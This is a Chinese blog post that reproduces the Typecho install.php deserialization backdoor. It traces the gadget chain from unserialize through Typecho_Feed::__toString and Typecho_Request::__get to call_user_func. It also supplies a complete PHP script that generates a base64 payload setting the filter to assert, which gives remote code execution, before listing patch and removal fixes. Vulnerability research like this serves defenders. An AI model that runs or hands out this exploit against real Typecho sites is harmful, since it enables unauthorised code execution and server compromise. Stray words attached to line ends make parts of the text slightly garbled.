前言php
最先知道這個漏洞是在一個微信羣裏,說是install.php
文件裏面有個後門,看到別人給的截圖一看就知道是個PHP反序列化漏洞,趕忙上服務器看了看本身的博客,發現本身也中招了,相關代碼以下:html
而後果斷在文件第一行加上了die:數組
<?php die('404 Not Found!'); ?>
今天下午恰好空閒下來,就趕忙拿出來代碼看看。服務器
先從install.php
開始跟,229-235行:微信
<?php$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db);?>
要讓代碼執行到這裏須要知足一些條件:app
//判斷是否已經安裝if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit; }// 擋掉可能的跨站請求if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; } $parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; } if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; } }
首先是$_GET['finish']
不爲空,其次是referer
須要是本站,比較容易實現。ide
繼續跟反序列化的地方:函數
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
首先使用Typecho_Cookie
的get
方法獲取__typecho_config
,get
方法以下:typecho
public static function get($key, $default = NULL){ $key = self::$_prefix . $key; $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default); return is_array($value) ? $default : $value; }
能夠看到給$value
賦值這一行,若是$_COOKIE
裏面沒有就從$_POST
裏面獲取,因此咱們測試漏洞的時候直接POST也是能夠的,不用每次設置Cookie了。測試
反序列化漏洞要利用勢必離不開魔術方法,我以前收集了一些和PHP反序列化有關的PHP函數:
__wakeup() //使用unserialize時觸發__sleep() //使用serialize時觸發__destruct() //對象被銷燬時觸發__call() //在對象上下文中調用不可訪問的方法時觸發__callStatic() //在靜態上下文中調用不可訪問的方法時觸發__get() //用於從不可訪問的屬性讀取數據__set() //用於將數據寫入不可訪問的屬性__isset() //在不可訪問的屬性上調用isset()或empty()觸發__unset() //在不可訪問的屬性上使用unset()時觸發__toString() //把類看成字符串使用時觸發__invoke() //當腳本嘗試將對象調用爲函數時觸發
下面這一行中,若是咱們反序列化構造一個數組,其中adapter
設置爲一個類,那麼就能夠觸發這個類的__toString()
方法。
而後咱們全局搜索__toString()
方法,發現兩個有搞頭的文件:
/var/Typecho/Feed.php /var/Typecho/Db/Query.php
我這裏跟一下Feed.php
,查看Feed.php
的__toString()
方法,其中第290行:
foreach ($this->_items as $item) { $content .= '<item>' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL; $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL; $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; //省略........}
其中調用了$item['author']->screenName
,$item
是$this->_items
的foreach循環出來的,而且$this->_items
是Typecho_Feed
類的一個private
屬性。
咱們能夠利用這個$item
來調用某個類的__get()
方法,上面說過__get()
方法是用於從不可訪問的屬性讀取數據,實際執行中這裏會獲取該類的screenName
屬性,若是咱們給$item['author']
設置的類中沒有screenName
就會執行該類的__get()
方法,咱們繼續來全局搜索一下__get()
方法。
發現/var/Typecho/Request.php
中的__get()
方法以下:
public function __get($key){ return $this->get($key); }
跟進$this->get()
方法以下:
public function get($key, $default = NULL){ switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; } $value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value); }
這裏沒什麼問題,但最後一行:
return $this->_applyFilter($value);
跟進一下發現:
private function _applyFilter($value){ if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); } $this->_filter = array(); } return $value; }
這個foreach
裏面判斷若是$value
是數組就執行array_map
不然調用call_user_func
,這倆函數都是執行代碼的關鍵方法。而這裏$filter
和$value
咱們幾乎都是能夠間接控制的,因此就能夠利用call_user_func
或者array_map
來執行代碼,好比咱們設置$filter
爲數組,第一個數組鍵值是assert
,$value
設置php代碼,便可執行。
而後咱們來完成Exploit以下:
<?phpclass Typecho_Feed{ const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } }class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_');echo base64_encode(serialize($exp));
而後運行該php,使用輸出的payload訪問:
至此該漏洞復現成功。
官方今天發佈了1.1Beta版本修復了該漏洞,升級該版本,連接:http://typecho.org/archives/133/
也能夠刪除掉install.php和install目錄。